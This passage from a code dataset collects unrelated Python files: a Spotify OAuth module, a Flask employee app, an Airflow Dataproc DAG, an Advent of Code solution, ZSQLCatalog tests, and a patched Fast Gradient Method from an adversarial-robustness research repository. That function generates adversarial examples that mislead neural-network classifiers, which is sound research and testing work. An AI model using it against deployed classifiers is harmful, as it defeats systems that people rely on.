{response.text}\")\n return None\n\n user_data = response.json()\n user_id = user_data[\"id\"]\n\n return user_id\n\n\nwith app.app_context():\n\n @app.route(\"/authenticate/spotify\")\n def authenticate_spotify():\n cache_handler = spotipy.cache_handler.FlaskSessionCacheHandler(session)\n auth_manager = spotipy.SpotifyOAuth(\n client_id=os.environ.get(\"SPOTIFY_CLIENT_ID\"),\n client_secret=os.environ.get(\"SPOTIFY_CLIENT_SECRET\"),\n redirect_uri=os.environ.get(\"SPOTIFY_REDIRECT_URI\"),\n scope=SPOTIFY_SCOPES,\n cache_handler=cache_handler,\n show_dialog=True,\n )\n auth_url = auth_manager.get_authorize_url()\n return redirect(auth_url)\n\n @app.route(\"/callback/spotify\")\n def spotify_callback():\n cache_handler = spotipy.cache_handler.FlaskSessionCacheHandler(session)\n auth_manager = SpotifyOAuth(\n client_id=os.environ.get(\"SPOTIFY_CLIENT_ID\"),\n client_secret=os.environ.get(\"SPOTIFY_CLIENT_SECRET\"),\n redirect_uri=os.environ.get(\"SPOTIFY_REDIRECT_URI\"),\n scope=SPOTIFY_SCOPES,\n cache_handler=cache_handler,\n show_dialog=True,\n )\n code = request.args.get(\"code\")\n token_info = auth_manager.get_access_token(code)\n if token_info:\n session[\"spotify_auth_token\"] = token_info\n logger.info(\"Spotify authentication successful\")\n session[\"spotify_authenticated\"] = True\n\n # Commented out until we can fix app scope with spotify\n # username = get_spotify_user_id(token_info)\n\n # if username is not None:\n # logger.info(\"Spotify authentication successful\")\n # session[\"spotify_authenticated\"] = True\n # session[\"spotify_username\"] = username\n # session[\"username\"] = username\n # g.username = username\n\n # logger.info(f\"Spotify username stored in session: {username}\")\n # else:\n # log_error_with_flash(\"Spotify authentication failed, unable to get username using token\")\n # return redirect(url_for(\"home\"))\n else:\n log_error_with_flash(\"Spotify authentication failed, no token returned by manager\")\n\n return redirect(url_for(\"home\"))\n\n\n##########################################################################\n########### Load Spotify Data ###########\n##########################################################################\n\n\ndef get_top_artists_spotify(spotify_user_id, access_token):\n cache_file = f\"{TEMP_OUTPUT_DIR}/top_artists_spotify_{spotify_user_id}.json\"\n\n # Load data from cache file if it exists\n if os.path.exists(cache_file):\n logger.info(\n f\"Found top artists cache file for user ID {spotify_user_id}, loading this instead of fetching again\"\n )\n with open(cache_file, \"r\", encoding=\"utf-8\") as f:\n all_top_artists = json.load(f)\n return all_top_artists\n\n logger.info(\n f\"No top artists cache file found for user ID {spotify_user_id}, fetching 50 top artists\"\n )\n\n limit = 1000\n url = \"https://api.spotify.com/v1/me/top/artists\"\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n all_top_artists = []\n\n time_ranges = [\"long_term\", \"medium_term\", \"short_term\"]\n for time_range in time_ranges:\n params = {\"time_range\": time_range, \"limit\": 50}\n response = requests.get(url, headers=headers, params=params)\n\n if response.status_code != 200:\n logger.error(\n f\"Failed to fetch top artists. Error {response.status_code}: {response.text}\"\n )\n return None\n\n top_artists_data = response.json()\n top_artists = top_artists_data[\"items\"]\n all_top_artists.extend(top_artists)\n\n # # Fetch followed artists\n # followed_artists_url = \"https://api.spotify.com/v1/me/following?type=artist\"\n # followed_artists_offset = 0\n\n # while True:\n # logger.info(\n # f\"Inside followed artists while loop, offset: {followed_artists_offset}, len(all_top_artists): {len(all_top_artists)}\"\n # )\n # followed_artists_params = {\"limit\": 50, \"after\": followed_artists_offset}\n\n # followed_artists_response = requests.get(\n # followed_artists_url, headers=headers, params=followed_artists_params\n # )\n\n # if followed_artists_response.status_code != 200:\n # logger.error(\n # f\"Failed to fetch followed artists. Error {followed_artists_response.status_code}: {followed_artists_response.text}\"\n # )\n # return None\n\n # followed_artists_data = followed_artists_response.json()\n # followed_artists = followed_artists_data[\"artists\"][\"items\"]\n # all_top_artists.extend(followed_artists)\n\n # if not followed_artists:\n # break\n\n # if len(all_top_artists) > limit:\n # logger.info(f\"Top artists limit reached, breaking loop: {limit}\")\n # break\n\n # followed_artists_offset += len(followed_artists)\n\n # Remove duplicates\n unique_artists = {artist[\"id\"]: artist for artist in all_top_artists}.values()\n unique_artists_list = list(unique_artists)\n\n # Cache fetched data to a file\n with open(cache_file, \"w\", encoding=\"utf-8\") as f:\n json.dump(unique_artists_list, f)\n\n return unique_artists_list\n\n\ndef get_top_tracks_spotify(spotify_user_id, access_token):\n cache_file = f\"{TEMP_OUTPUT_DIR}/top_tracks_spotify_{spotify_user_id}.json\"\n\n # Load data from cache file if it exists\n if os.path.exists(cache_file):\n logger.info(\n f\"Found top tracks cache file for user ID {spotify_user_id}, loading this instead of fetching again\"\n )\n with open(cache_file, \"r\", encoding=\"utf-8\") as f:\n all_top_tracks = json.load(f)\n return all_top_tracks\n\n logger.info(\n f\"No top tracks cache file found for user ID {spotify_user_id}, beginning fetch loop\"\n )\n\n limit = 10000\n url = \"https://api.spotify.com/v1/me/top/tracks\"\n headers = {\"Authorization\": f\"Bearer {access_token}\"}\n all_top_tracks = []\n\n time_ranges = [\"long_term\", \"medium_term\", \"short_term\"]\n for time_range in time_ranges:\n params = {\"time_range\": time_range, \"limit\": 50}\n response = requests.get(url, headers=headers, params=params)\n\n if response.status_code != 200:\n logger.error(\n f\"Failed to fetch top tracks. Error {response.status_code}: {response.text}\"\n )\n return None\n\n top_tracks_data = response.json()\n top_tracks = top_tracks_data[\"items\"]\n all_top_tracks.extend(top_tracks)\n\n # Fetch saved tracks\n saved_tracks_url = \"https://api.spotify.com/v1/me/tracks\"\n saved_tracks_offset = 0\n\n while True:\n logger.info(\n f\"Inside saved tracks while loop, offset: {saved_tracks_offset}, len(all_top_tracks): {len(all_top_tracks)}\"\n )\n\n saved_tracks_params = {\"limit\": 50, \"offset\": saved_tracks_offset}\n\n saved_tracks_response = requests.get(\n saved_tracks_url, headers=headers, params=saved_tracks_params\n )\n\n if saved_tracks_response.status_code != 200:\n logger.error(\n f\"Failed to fetch saved tracks. Error {saved_tracks_response.status_code}: {saved_tracks_response.text}\"\n )\n return None\n\n saved_tracks_data = saved_tracks_response.json()\n saved_tracks = [item[\"track\"] for item in saved_tracks_data[\"items\"]]\n all_top_tracks.extend(saved_tracks)\n\n if len(saved_tracks) < 50:\n break\n\n if len(all_top_tracks) > limit:\n logger.info(f\"Top tracks limit reached, breaking loop: {limit}\")\n break\n\n saved_tracks_offset += len(saved_tracks)\n\n # Remove duplicates\n unique_tracks = {track[\"id\"]: track for track in all_top_tracks}.values()\n unique_tracks_list = list(unique_tracks)\n\n # Cache fetched data to a file\n with open(cache_file, \"w\", encoding=\"utf-8\") as f:\n json.dump(unique_tracks_list, f)\n\n return unique_tracks_list\n","repo_name":"karaokenerds/music-data-karaoke-song-sheets","sub_path":"karaokehunt/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":9575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74715786802","text":"from cleverhans.attacks import optimize_linear\nfrom cleverhans import utils_tf\nimport numpy as np\nimport tensorflow as tf\n\n\ndef fgm_patched(x,\n logits,\n y=None,\n eps=0.3,\n ord=np.inf,\n clip_min=None,\n clip_max=None,\n targeted=False,\n sanity_checks=True):\n \"\"\"\n TensorFlow implementation of the Fast Gradient Method.\n :param x: the input placeholder\n :param logits: output of model.get_logits\n :param y: (optional) A placeholder for the true labels. If targeted\n is true, then provide the target label. Otherwise, only provide\n this parameter if you'd like to use true labels when crafting\n adversarial samples. Otherwise, model predictions are used as\n labels to avoid the \"label leaking\" effect (explained in this\n paper: https://arxiv.org/abs/1611.01236). Default is None.\n Labels should be one-hot-encoded.\n :param eps: the epsilon (input variation parameter)\n :param ord: (optional) Order of the norm (mimics NumPy).\n Possible values: np.inf, 1 or 2.\n :param clip_min: Minimum float value for adversarial example components\n :param clip_max: Maximum float value for adversarial example components\n :param targeted: Is the attack targeted or untargeted? Untargeted, the\n default, will try to make the label incorrect. Targeted\n will instead try to move in the direction of being more\n like y.\n :return: a tensor for the adversarial example\n \"\"\"\n\n asserts = []\n\n # If a data range was specified, check that the input was in that range\n if clip_min is not None:\n asserts.append(utils_tf.assert_greater_equal(\n x, tf.cast(clip_min, x.dtype)))\n\n if clip_max is not None:\n asserts.append(utils_tf.assert_less_equal(x, tf.cast(clip_max, x.dtype)))\n\n # Make sure the caller has not passed probs by accident\n assert logits.op.type != 'Softmax'\n\n if y is None:\n # Using model predictions as ground truth to avoid label leaking\n preds_max = tf.reduce_max(logits, 1, keepdims=True)\n y = tf.to_float(tf.equal(logits, preds_max))\n y = tf.stop_gradient(y)\n y = y / tf.reduce_sum(y, 1, keepdims=True)\n\n # Compute loss\n from cleverhans.compat import softmax_cross_entropy_with_logits\n #loss = softmax_cross_entropy_with_logits(labels=y, logits=logits)\n\n loss = -tf.reduce_sum(logits * y, axis=-1)\n if targeted:\n loss = -loss\n\n # Define gradient of loss wrt input\n grad, = tf.gradients(loss, x)\n\n optimal_perturbation = optimize_linear(grad, eps, ord)\n\n # Add perturbation to original example to obtain adversarial example\n adv_x = x + optimal_perturbation\n\n # If clipping is needed, reset all values outside of [clip_min, clip_max]\n if (clip_min is not None) or (clip_max is not None):\n # We don't currently support one-sided clipping\n assert clip_min is not None and clip_max is not None\n adv_x = utils_tf.clip_by_value(adv_x, clip_min, clip_max)\n\n if sanity_checks:\n with tf.control_dependencies(asserts):\n adv_x = tf.identity(adv_x)\n\n # adv_x = tf.Print(adv_x, [loss, logits, y, grad])\n\n return adv_x\n\n","repo_name":"google-research/active-adversarial-tests","sub_path":"case_studies/mmt/fgm_patched.py","file_name":"fgm_patched.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"75"} +{"seq_id":"38475801015","text":"intervals = []\n\nd = {\n 'ticket fields' : [],\n 'your ticket' : [],\n 'nearby tickets': []\n}\n\nstate = 'ticket fields'\nfor line in open('input.txt', 'r'):\n line = line.strip()\n\n if line == '':\n continue\n\n elif line.endswith(':'):\n state = line[:-1]\n\n else:\n d[state].append(line)\n \nfor line in d['ticket fields']:\n inters = line.split(':')[1][1:].split(' or ')\n \n for interval in inters:\n nums = interval.split('-')\n interval = (int(nums[0]), int(nums[1]))\n \n to_remove = []\n\n # Merge with existing interval\n for existing in intervals:\n if existing not in to_remove and (\n (existing[0]-1 <= interval[0] <= existing[1]+1) or\n (existing[0]-1 <= interval[1] <= existing[1]+1) or\n (interval[0]-1 <= existing[0] <= interval[1]+1) or\n (interval[1]-1 <= existing[1] <= interval[1]+1)\n ):\n interval = (min(interval[0], existing[0]), max(interval[1], existing[1]))\n to_remove.append(existing)\n else:\n intervals.append(interval)\n\n for tup in to_remove:\n intervals.remove(tup)\n\nprint(intervals)\n\ndef in_interval(intervals, num):\n for low, high in intervals:\n if low <= num <= high:\n return True\n else:\n return False\n\ntot = 0\n\nfor ticket in d['nearby tickets']:\n for t in ticket.split(','):\n if not in_interval(intervals, int(t)):\n tot += int(t)\n break\n\nprint(tot)\n","repo_name":"BramvdnHeuvel/AdventOfCode2020","sub_path":"16/ex1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27231754187","text":"from sklearn.metrics import accuracy_score # import library\n\ndef baseline(df):\n df_baseline = df.copy()\n df_baseline['ATMO_baseline'] = df_baseline['ATMO'].shift(periods=8,axis=0) #creation of y_pred by shifting target of 7 days\n y_baseline = df_baseline['ATMO_baseline'][8:] #take off the 7 first values to drop nan\n y_true = df_baseline['ATMO'][8:] #take off the 7 first values to drop nan\n accuracy = accuracy_score(y_true, y_baseline) # use accuracy modul from sklearn\n\n return accuracy\n","repo_name":"TheLab75/ParisDeepAirProject","sub_path":"build/lib/workflow/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"11217552115","text":"'''\r\nCreated on Oct 23, 2019\r\n\r\n@author: rakesh13575\r\n'''\r\nfrom flask.app import Flask\r\nfrom flask.globals import request\r\nfrom basics.CompanyExample import Employee\r\nimport jsonpickle\r\nfrom flask.templating import render_template\r\nfrom werkzeug.utils import redirect\r\nfrom pip._vendor import requests\r\n\r\n# initialize Flask Environment for current application\r\nemp_app=Flask(__name__)\r\n\r\n@emp_app.route(\"/\")\r\ndef welcome():\r\n #request.\r\n print(\"Welcome screen shown\")\r\n return \"Welcome to Employee Application\"\r\n\r\n@emp_app.route(\"/web/emp\")\r\ndef display_all_employees():\r\n emps = Employee.get_all_employees_from_db()\r\n return render_template(\"employees.html\",result=emps,content_type=\"application/json\")\r\n\r\n@emp_app.route(\"/web/emp/register\",methods=[\"POST\"])\r\ndef register_new_emp():\r\n f_empno = int(request.form.get(\"empno\"))\r\n f_name = request.form.get(\"name\")\r\n f_day_salary = float(request.form.get(\"salary\"))\r\n \r\n new_emp=Employee({\"empno\":f_empno,\"name\":f_name,\"daily_salary\":f_day_salary})\r\n Employee.add_employee_to_db(new_emp)\r\n \r\n return redirect(\"/web/emp\")\r\n\r\n@emp_app.route(\"/web/emp/delete\",methods=[\"POST\"])\r\ndef delete_emp():\r\n f_empno = request.form.get(\"id\")\r\n print(f_empno)\r\n Employee.delete_employee_from_db(f_empno)\r\n \r\n return redirect(\"/web/emp\")\r\n \r\n@emp_app.route(\"/api/emp/list\")\r\ndef get_all_emps():\r\n return jsonpickle.encode(Employee.get_all_employees_from_db())\r\n \r\n@emp_app.route(\"/api/emp/register\",methods=[\"POST\"])\r\ndef add_new_emp():\r\n f_empno = int(request.form.get(\"empno\"))\r\n f_name = request.form.get(\"name\")\r\n f_day_salary = float(request.form.get(\"salary\"))\r\n \r\n new_emp=Employee({\"empno\":f_empno,\"name\":f_name,\"daily_salary\":f_day_salary})\r\n return jsonpickle.encode(Employee.add_employee_to_db(new_emp))\r\n\r\nif __name__ == '__main__':\r\n print(\"Flask app started\")\r\n # start the http request listener on provided port\r\n emp_app.run(port=7799)\r\n pass","repo_name":"rakeshkedar181/Employee_Management_System","sub_path":"Employee_Application/EmployeeApplication.py","file_name":"EmployeeApplication.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33124683545","text":"import datetime\nimport os\n\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\nfrom airflow.providers.google.cloud.operators.dataproc import (\n ClusterGenerator, DataprocCreateClusterOperator, DataprocSubmitJobOperator)\nfrom google.cloud import storage\n\nPROJECT_ID = os.environ.get(\"GCP_PROJECT_ID\")\nBUCKET = os.environ.get(\"GCP_GCS_BUCKET\")\nBQ_TABLE_NYC_CRIMES = os.environ.get(\"BQ_TABLE_NYC_CRIMES\")\nAIRFLOW_HOME = os.environ.get(\"AIRFLOW_HOME\")\nREGION = \"us-west1\"\nZONE = \"us-west1-a\"\nCLUSTER_NAME = \"dezc-dproc-cluster\"\n\nPYSPARK_MAIN_FILE = \"test.py\"\nPYSPARK_MAIN_FILE_PATH = os.path.join(AIRFLOW_HOME, \"dags\", PYSPARK_MAIN_FILE)\nSPARK_BQ_JAR = \"spark-bigquery-latest_2.12.jar\"\nSPARK_BQ_JAR_PATH = os.path.join(AIRFLOW_HOME, \"dags\", SPARK_BQ_JAR)\n\n\nCLUSTER_GENERATOR_CONFIG = ClusterGenerator(\n project_id=PROJECT_ID,\n zone=ZONE,\n master_machine_type=\"n1-standard-4\",\n idle_delete_ttl=900, \n master_disk_size=500,\n num_masters=1, # single node cluster\n num_workers=0, \n ).make()\n\n\npyspark_job = {\n \"reference\": {\"project_id\": PROJECT_ID},\n \"placement\": {\"cluster_name\": CLUSTER_NAME},\n \"pyspark_job\": {\n \"main_python_file_uri\": f\"gs://{BUCKET}/{PYSPARK_MAIN_FILE}\",\n \"jar_file_uris\": [f\"gs://{BUCKET}/{SPARK_BQ_JAR}\"],\n \"args\": [\n f\"--project_id={PROJECT_ID}\",\n f\"--bq_table_input={BQ_TABLE_NYC_CRIMES}\",\n f\"--bucket={BUCKET}\"\n ],\n },\n}\n\ndef upload_to_gcs(local_file, bucket):\n client = storage.Client()\n bucket = client.bucket(bucket)\n\n object_name = os.path.basename(local_file)\n blob = bucket.blob(object_name)\n blob.upload_from_filename(local_file)\n\n\ndefault_args = {\n \"owner\": \"airflow\",\n \"start_date\": datetime.datetime.now(),\n \"depends_on_past\": False,\n \"retries\": 1,\n}\n\n\nwith DAG(\n dag_id=\"data_crime_process_dag\",\n schedule_interval=\"@once\",\n default_args=default_args,\n tags=['dtc-de-project'],\n) as dag:\n \n upload_pyspark_script = PythonOperator(\n task_id=\"upload_pyspark_script\",\n python_callable=upload_to_gcs,\n op_kwargs={\n \"local_file\": PYSPARK_MAIN_FILE_PATH,\n \"bucket\": BUCKET,\n },\n )\n\n upload_jar = PythonOperator(\n task_id=\"upload_jar\",\n python_callable=upload_to_gcs,\n op_kwargs={\n \"local_file\": SPARK_BQ_JAR_PATH,\n \"bucket\": BUCKET,\n },\n )\n\n create_cluster_operator_task = DataprocCreateClusterOperator(\n task_id='create_dataproc_cluster',\n cluster_name=CLUSTER_NAME,\n project_id=PROJECT_ID,\n region=REGION,\n cluster_config=CLUSTER_GENERATOR_CONFIG\n )\n \n pyspark_task = DataprocSubmitJobOperator(\n task_id=\"pyspark_task\", job=pyspark_job, region=REGION, project_id=PROJECT_ID\n )\n \n\n upload_pyspark_script >> upload_jar >> create_cluster_operator_task >> pyspark_task\n","repo_name":"ara-25/nyc_crimes_de","sub_path":"airflow/dags/data_transformation_dag.py","file_name":"data_transformation_dag.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71251930483","text":"from functools import partial\nimport unittest\nfrom Products.ZSQLCatalog.SQLCatalog import Catalog as SQLCatalog\nfrom Products.ZSQLCatalog.SQLCatalog import Query\nfrom Products.ZSQLCatalog.SQLCatalog import ComplexQuery\nfrom Products.ZSQLCatalog.SQLCatalog import SimpleQuery\nfrom Products.ZSQLCatalog.Query.EntireQuery import EntireQuery\nfrom Products.ZSQLCatalog.Query.RelatedQuery import RelatedQuery\nfrom DateTime import DateTime\nfrom Products.ZSQLCatalog.SQLExpression import MergeConflictError\nfrom Products.ERP5Type.tests.ERP5TypeTestCase import ERP5TypeTestCase\nimport six\n\nclass MatchList(list):\n def __repr__(self):\n return '<%s %r>' % (self.__class__.__name__, self[:])\n\nclass ReferenceQuery:\n \"\"\"\n This class is made to be able to compare a generated query tree with a\n reference one.\n\n It supports the following types of queries:\n SimpleQuery\n This can be compared with a ReferenceQuery in the form:\n ReferenceQuery(operator=some_operator, column=value)\n Where:\n - operator is the expected comparison operator (see\n ZSQLCatalog/Operator/ComparisonOperator.py:operator_dict keys)\n - column is the expected column name (without table mapping)\n - value is the expected value (rendered as text)\n ComplexQuery\n This can be compares with a ReferenceQuery in the form:\n ReferenceQuery(*arg, operator=logical_operator)\n Where:\n - args is a list of sub-queries (each will be searched for into\n compared query tree, so order doesn't matter)\n - operator is a logical operator name (see ComplexQuery class)\n EntireQuery\n This type of query is considered as an operator-less, single-subquery\n ComplexQuery. Its embeded query will be recursed into.\n RelatedQuery\n This type of query is considered as an operator-less, single-subquery\n ComplexQuery. Its \"join condition\" query will be recursed into (raw sql\n will not).\n AutoQuery (known here as \"Query\")\n This type of query is considered as an operator-less, single-subquery\n ComplexQuery. Its wrapped (=auto-generated equivalent query) query will\n be recursed into.\n\n Note: This code is quite ugly as it references query classes and access\n instance attributes directly.\n But I (Vincent) believe that it would be pointless to design individual\n __eq__ methods on all queries, as anyway they must know the compared query\n class, and as such it would spread the dirtyness among code which is not\n limited to tests.\n \"\"\"\n operator = None\n column = None\n value = None\n\n def __init__(self, *args, **kw):\n self.operator = kw.pop('operator', None)\n assert len(args) == 0 or len(kw) == 0\n self.args = []\n for arg in args:\n if isinstance(arg, (tuple, list)):\n self.args.extend(arg)\n else:\n self.args.append(arg)\n if len(kw) == 1:\n self.column, value = kw.items()[0]\n if not isinstance(value, MatchList):\n value = MatchList([value])\n self.value = value\n elif len(kw) > 1:\n raise ValueError('kw must not have more than one item: %r' % kw)\n\n def __eq__(self, other):\n if isinstance(other, SimpleQuery):\n return self.column is not None and \\\n other.getColumn() == self.column and \\\n other.getValue() in self.value and \\\n other.comparison_operator == self.operator\n elif isinstance(other, ComplexQuery):\n if not (len(other.query_list) == len(self.args) and \\\n other.logical_operator == self.operator):\n return False\n other_query_list = other.query_list[:]\n for subquery in self.args:\n for other_query_id in xrange(len(other_query_list)):\n other_query = other_query_list[other_query_id]\n if subquery == other_query:\n other_query_list.pop(other_query_id)\n break\n else:\n return False\n return len(other_query_list) == 0\n elif isinstance(other, EntireQuery):\n return len(self.args) == 1 and \\\n self.args[0] == other.query\n elif isinstance(other, RelatedQuery):\n return self == other.join_condition\n elif isinstance(other, Query):\n return self == other.wrapped_query\n else:\n raise TypeError('Compared value is not a (known) Query instance: (%s) %r' % (other.__class__.__name__, other))\n\n def __repr__(self):\n if self.args:\n # ComplexQuery-ish\n representation = (' %s ' % (self.operator, )).join(repr(x) for x in self.args)\n else:\n # SimpleQuery-ish\n representation = '%r %r %r' % (self.column, self.operator, self.value)\n return '<%s %s>' % (self.__class__.__name__, representation)\n\nclass RelatedReferenceQuery:\n \"\"\"\n This class has the same objective as ReferenceQuery, but it is limited to\n RelatedQuery comparison: the compared query *must* be a RelatedQuery\n instance for equality to be confirmed.\n \"\"\"\n def __init__(self, reference_subquery):\n self.subquery = reference_subquery\n\n def __eq__(self, other):\n return isinstance(other, RelatedQuery) and \\\n self.subquery == other.join_condition\n\n def __repr__(self):\n return '<%s %r>' % (self.__class__.__name__, self.subquery)\n\nclass DummyCatalog(SQLCatalog):\n \"\"\"\n Mimic a table stucture definition.\n Removes the need to instanciate a complete catalog and the need to create\n associated tables. This offers a huge flexibility.\n \"\"\"\n\n sql_catalog_keyword_search_keys = ('keyword', )\n sql_catalog_datetime_search_keys = ('date', )\n sql_catalog_full_text_search_keys = ('old_fulltext', )\n sql_catalog_scriptable_keys = (\n 'scriptable_keyword | scriptableKeyScript',\n 'scriptable_keyword_5args | scriptableKeyScriptFiveArguments',\n )\n sql_catalog_search_keys = ('fulltext | MroongaFullTextKey',\n 'fulltext_boolean | MroongaBooleanFullTextKey',)\n\n def getColumnMap(self):\n \"\"\"\n Fake table structure description.\n \"\"\"\n return {\n 'uid': ['foo', 'bar'],\n 'default': ['foo', ],\n 'keyword': ['foo', ],\n 'date': ['foo', ],\n 'old_fulltext': ['foo', ],\n 'fulltext': ['foo', ],\n 'fulltext_boolean': ['foo', ],\n 'other_uid': ['bar', ],\n 'ambiguous_mapping': ['foo', 'bar'],\n }\n\n def getSQLCatalogRelatedKeyList(self, key_list):\n \"\"\"\n Fake auto-generated related key definitions.\n \"\"\"\n return [\n 'related_default | bar,foo/default/z_related_table',\n 'related_keyword | bar,foo/keyword/z_related_table',\n 'related_date | bar,foo/date/z_related_table'\n ]\n\n def z_related_table(self, *args, **kw):\n \"\"\"\n Mimics a ZSQLMethod subobject.\n \"\"\"\n assert kw.get('src__', False)\n assert 'query_table' in kw\n assert 'table_0' in kw\n assert 'table_1' in kw\n assert 'AND' in kw.pop('RELATED_QUERY_SEPARATOR')\n assert len(kw) == 4\n return '%(table_0)s.uid = %(query_table)s.uid AND %(table_0)s.other_uid = %(table_1)s' % kw\n\n def scriptableKeyScript(self, value):\n \"\"\"\n Mimics a scriptable key (PythonScript) subobject.\n \"\"\"\n return SimpleQuery(comparison_operator='=', keyword=value)\n\n @staticmethod\n def scriptableKeyScriptFiveArguments(\n value,\n search_key,\n group,\n logical_operator,\n comparison_operator,\n ):\n \"\"\"\n Mimics a scriptable key (PythonScript) subobject, using the SearchKey API.\n \"\"\"\n operator_value_dict, logical_operator, _ = search_key.processSearchValue(\n search_value=value,\n default_logical_operator=logical_operator,\n comparison_operator=comparison_operator,\n )\n query_list = [\n SimpleQuery(\n keyword=value_list[0], # XXX: Fine for tests, bad in general.\n comparison_operator=comparison_operator,\n group=group,\n )\n for comparison_operator, value_list in six.iteritems(operator_value_dict)\n ]\n if len(query_list) == 1:\n return query_list[0]\n if query_list:\n return ComplexQuery(\n query_list,\n logical_operator=logical_operator,\n )\n return SimpleQuery(uid=-1)\n\nclass TestSQLCatalog(ERP5TypeTestCase):\n def setUp(self):\n self._catalog = DummyCatalog('dummy_catalog')\n\n def assertCatalogRaises(self, exception, kw):\n self.assertRaises(exception, self._catalog, src__=1, query_table='foo', **kw)\n\n def catalog(self, reference_tree, kw, check_search_text=True,\n check_select_expression=True, expected_failure=False):\n reference_param_dict = self._catalog.buildSQLQuery(query_table='foo', **kw)\n query = self._catalog.buildEntireQuery(kw).query\n assertEqual = self.assertEqual\n if expected_failure:\n assertEqual = unittest.expectedFailure(assertEqual)\n\n assertEqual(reference_tree, query)\n search_text = query.asSearchTextExpression(self._catalog)\n if check_search_text:\n # XXX: sould \"keyword\" be always used for search text searches ?\n search_text_param_dict = self._catalog.buildSQLQuery(query_table='foo', keyword=search_text)\n if not check_select_expression:\n search_text_param_dict.pop('select_expression')\n reference_param_dict.pop('select_expression')\n assertEqual(reference_param_dict, search_text_param_dict,\n 'Query: %r\\nSearchText: %r\\nReference: %r\\nSecond rendering: %r' % \\\n (query, search_text, reference_param_dict, search_text_param_dict))\n\n def asSQLExpression(self, kw, **build_entire_query_kw):\n entire_query = self._catalog.buildEntireQuery(kw, **build_entire_query_kw)\n return entire_query.asSQLExpression(self._catalog, False)\n\n def _testDefaultKey(self, column):\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='a'), operator='and'),\n {column: 'a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='like', default='%a'), operator='and'),\n {column: '%a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='<', default='a'), operator='and'),\n {column: '=a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='>', default='a'), operator='and'),\n {column: '>a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='!=', default='a'), operator='and'),\n {column: '!=a'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='a b'), operator='and'),\n {column: 'a b'})\n self.catalog(ReferenceQuery(ReferenceQuery(ReferenceQuery(operator='=', default='a'), ReferenceQuery(operator='>', default='b'), operator='and'), operator='and'),\n {column: 'a >b'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='a > b'), operator='and'),\n {column: 'a > b'})\n self.catalog(ReferenceQuery(ReferenceQuery(ReferenceQuery(operator='>', default='a'), ReferenceQuery(operator='>', default='b'), operator='and'), operator='and'),\n {column: '>a >b'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='>a >b'), operator='and'),\n {column: '\">a >b\"'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='>', default='>a >b'), operator='and'),\n {column: '>\">a >b\"'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='in', default=['a', 'b']), operator='and'),\n {column: 'a OR b'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='a OR b'), operator='and'),\n {column: '\"a OR b\"'})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='<', default='path'), operator='and'),\n {column: {'query': 'path', 'range': 'max'}})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='in', default=['a', 'b']), operator='and'),\n {column: ['a', 'b']})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='in', default=['a', 'b']), operator='and'),\n {column: ['=a', '=b']})\n\n def test_DefaultKey(self):\n self._testDefaultKey('default')\n\n def test_relatedDefaultKey(self):\n self._testDefaultKey('related_default')\n\n def test_002_keyOverride(self):\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='%a'), operator='and'),\n {'default': {'query': '%a', 'key': 'ExactMatch'}},\n check_search_text=False)\n self.catalog(ReferenceQuery(ReferenceQuery(operator='=', default='\"2008/10/01 12:10:20\"', 'format': '%Y/%m/%d', 'type': 'date'}})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/10/01 12:10:21')),\n ReferenceQuery(operator='<', date=DateTime('2008/10/02 10:00:00')),\n operator='and'), operator='and'),\n {column: {'query': '>\"2008/10/01 12:10:20\" AND <\"2008/10/02 10:00:00\"', 'format': '%Y/%m/%d', 'type': 'date'}})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='>=', date=DateTime('2008/10/01 12:10:21 CEST')), operator='and'),\n {column: {'query': '>\"2008/10/01 12:10:20 CEST\"', 'format': '%Y/%m/%d', 'type': 'date'}})\n self.catalog(ReferenceQuery(ReferenceQuery(operator='>=', date=DateTime('2008/10/01 12:10:21 CET')), operator='and'),\n {column: {'query': '>\"2008/10/01 12:10:20 CET\"', 'format': '%Y/%m/%d', 'type': 'date'}})\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/10/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2008/10/02 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008/10/01 %s' % timezone})\n if timezone == 'GMT+9':\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2009/01/01 %s' % timezone))\n , operator='and'), operator='and'),\n {column: '2008 %s' % timezone})\n else:\n self.catalog(ReferenceQuery(ReferenceQuery(\n ReferenceQuery(operator='>=', date=DateTime('2008/01/01 %s' % timezone)),\n ReferenceQuery(operator='<', date=DateTime('2009/01/01 